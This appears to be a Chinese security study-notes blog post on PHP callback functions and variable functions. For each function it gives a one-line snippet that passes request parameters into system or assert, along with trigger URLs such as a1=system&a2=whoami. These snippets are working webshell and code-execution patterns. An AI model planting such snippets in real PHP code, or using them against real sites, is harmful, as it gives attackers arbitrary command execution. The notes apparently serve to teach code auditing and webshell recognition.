首页 > 编程语言 >学习笔记- PHP回调函数

学习笔记- PHP回调函数

时间:2022-10-31 20:25:36浏览次数:65  
标签:php 函数 回调 xxx 笔记 数组 array PHP

PHP回调函数


call_user_func

call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数

<?php
    call_user_func($_GET['a1'],$_GET['a2']);
?>
//xxx.php?a1=system&a2=whoami  //命令执行
//xxx.php?a1=assert&a2=phpinfo()   //代码执行

call_user_func_array()

call_user_func_array() 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

<?php
    call_user_func_array($_GET['a1'],$_GET['a2']);
?>
//xxx.php?a1=system&a2[]=whoami
//xxx.php?a1=assert&a2[]=phpinfo()

create_function()

创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值

<?php
    $b=create_function('', @$_REQUEST['a']);$b();
?>
//xxx.php?a=phpinfo();

array_walk()

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

<?php
    array_walk($_GET['a'],$_GET['b']);
?>
//xxx.php?a[]=whoami&b=system
//xxx.php?a[]=phpinfo()&b=assert

array_map()

array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
    array_map($_GET['a'],$_GET['b']);
?>
//xxx.php?a=system&b[]=whoami
//xxx.php?a=assert&b[]=phpinfo()

array_filter()

array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php
    array_filter(array($_GET['cmd']),$_GET['func']);
?>
//?func=system&cmd=whoami
//?func=assert&cmd=phpinfo()

可变函数$var(args)

PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

<?php
    $_GET['a']($_GET['b']);
?>
//xxx.php?a=system&b=whoami
//xxx?a=assert&b=phpinfo()

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

标签:php,函数,回调,xxx,笔记,数组,array,PHP
From: https://www.cnblogs.com/haidragon/p/16845607.html

相关文章

  • 学习笔记-POP
    POP相关文章&Source&ReferencePHP对象注入之pop链构造萌新入门pop链什么是POP面向属性编程(Property-OrientedPrograming)用于上层语言构造特定调用链的方法......
  • 《程序员修炼之道:从小工到大家》十月份阅读笔记一
    第14节纯文本的威力1、纯本文由可打印字符组成,人可以直接阅读和理解其形式。这里强调可打印含义是字符时经过编码的可阅读字符,而不是二进制。这在现在看来几乎是不用......
  • 学习笔记-无字母数字Webshell
    无字母数字Webshell相关文章&Source&Reference记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)一些不包含数字和字母的webshell无字母数字W......
  • 《程序员修炼之道:从小工到专家》第三章读书笔记
     第三章的内容是基本工具,我们都知道,每个工匠在职业生涯时都会准备一套品质良好的基本工具,工匠拿着趁手的工具才能更好的展现他的才干,工具越好,你越能更好的掌握它们的用法......
  • 学习笔记-绕过php禁用函数
    bypass_disable_function相关文章&Source&ReferenceCTF中的命令执行绕过无需sendmail:巧用LD_PRELOAD突破disable_functionsphp中函数禁用绕过的原理与利用相......
  • 学习笔记-绕过php文件目录访问限制
    bypass_open_basedir相关文章&Source&Referencephp中函数禁用绕过的原理与利用利用symlink通过建立软链达成bypass<?phpsymlink("abc/abc/abc/abc","temp......
  • Java学习笔记day1——注释
    /*java包含以下三种注释方法:1.单行注释2.多行注释*单行多行注释对所写程序进行注释说明,增强可读性,方便自己方便别人。*还可以调试所写的代码,注释内容均不参与编译......
  • Java学习笔记day1——变量
    /*1.关键字(keyword)和保留字*所有关键字都是小写的;*保留字:现有的Java版本尚未使用,但是以后的版本可能会用:goto,const。2.标识符--identifier*凡是可以自己起......
  • Java学习笔记day1——String类型变量
    /*String(字符串)类型变量的使用*1.String属于引用数据类型;*2.String用双引号""进行定义;*/classStringTest{publicstaticvoidmain(String[]ag......
  • 6、函数
    6函数6.1概述作用:将一段经常使用的代码封装起来,减少重复代码一个较大的程序,一般分为若干个程序块,每个模块实现特定的功能。6.2函数的定义函数的定义一般主要有5个......